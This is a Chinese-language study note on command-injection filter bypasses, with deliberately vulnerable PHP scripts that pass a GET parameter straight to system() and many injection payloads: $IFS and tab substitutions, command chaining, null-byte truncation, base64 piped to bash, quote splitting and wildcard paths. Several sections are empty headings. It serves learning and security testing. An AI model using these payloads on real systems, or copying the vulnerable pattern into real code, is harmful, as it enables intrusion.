命令执行绕过笔记

https://www.jianshu.com/p/5e505e3d8075

http://www.4hou.com/reverse/5643.html

cmd1.php

<?php
$cmd=$_GET['cmd'];
echo "执行的语句:";
echo $cmd;
echo "<br>执行结果:";
system($cmd);
?>


首先随便试试?cmd=ls,正常显示。

1 空格的过滤

1.1 $IFS

?cmd=cat$IFSkey  

1.2 >或者<>

?cmd=cat>key 
?cmd=cat<>key  

1.3 %09(php环境下)

?cmd=cat%09key     

2 多条命令执行,且有前缀

有时候会出现这种代码

cmd2.php

<?php
$cmd=$_GET['cmd'];
echo "执行的语句:";
$var='curl '.$cmd;
echo $var;
echo "<br>执行结果:";
system($var);
?>

可以把它理解为curl在线使用吧。?cmd=www.baidu.com,结果如下图

直接打ls等系统命令就会出错,因为执行的命令前边始终有个curl。

2.1 分号;

?cmd=www.baidu.com;ls
值得注意的是ls执行的内容会在网页最下边才能看到。  

2.2 &,&&,|,||

这几个指令有区别,懒得写了,直接截图  

2.3 换行符%0a(php环境)

这个怎么个用法呢,先看这条?cmd=%0als  
发现是可以正常执行ls的,那么curl呢?
换行符让curl孤单的成为一条语句,ls成为一条孤独的语句,所以就绕过了curl后边加网址的限制。  

3 存在后缀需要消除后边的影响

cmd3.php

<?php
$cmd=$_GET['cmd'];
echo "执行的语句:";
$var='curl www.'.$cmd.".com";
echo $var;
echo "<br>执行结果:";
//system($cmd);
system($var);
?>

这次把后边也堵上了,所以要用到类似于sql注入中#的截断作用的字符。

3.1 %00(需要php环境)

?cmd=;ls%00  
正常执行ls,原来命令时ls.com,加入%00后,.com就没了 

3.2 %20%23

?cmd=;ls%20%23  

4. 黑名单绕过

4.1 拼接

?cmd=a=c;b=at;c=key;$a$b $c

4.2 base64编码

?cmd=ls
?cmd=echo "bHM="|base64 -d|bash  

4.3 单双引号

?cmd=cat key
?cmd=ca""t k''ey  

4.4 反斜杠

?cmd=cat key
?cmd=ca	 key  

4.5 通配符* ?

一个?代表一个字符,*代表若干字符。  
其实早就有通配符绕过英文数字的限制提权了。  
?cmd=/bin/cat key
?cmd=/???/??? ??? 
我也不知道他到底执行的什么命令,不过肯定有/bin/cat key这一条 
内容很多,最好是结合字母  /bi?/ca? ?ey  

4.6 绕过ip中的.,虽然不知道有啥用,先记下来。

http://www.msxindl.com/tools/ip/ip_num.asp

4.7没看,顺手抄下来,看win下干嘛。。。

4.8 无回显,还没看,看到整理下来,顺便也学一下。

4.9 突破长度限制

5.构造字符 利用expr

这个其实是黑名单绕过的,但是我觉得很妙,就把它单独拿出来说了。
可以从文件中或者环境变量获取某些字符

可以用export查看一些环境变量,而$pwd这个第一个字符一定是/  
expr substr $PWD 1 1(输出为)
export可以查看变量  
如果过滤了一下字符,可以冲这些变量中拼凑出来  

6.直接截图

原文地址:https://www.cnblogs.com/zaqzzz/p/10288162.html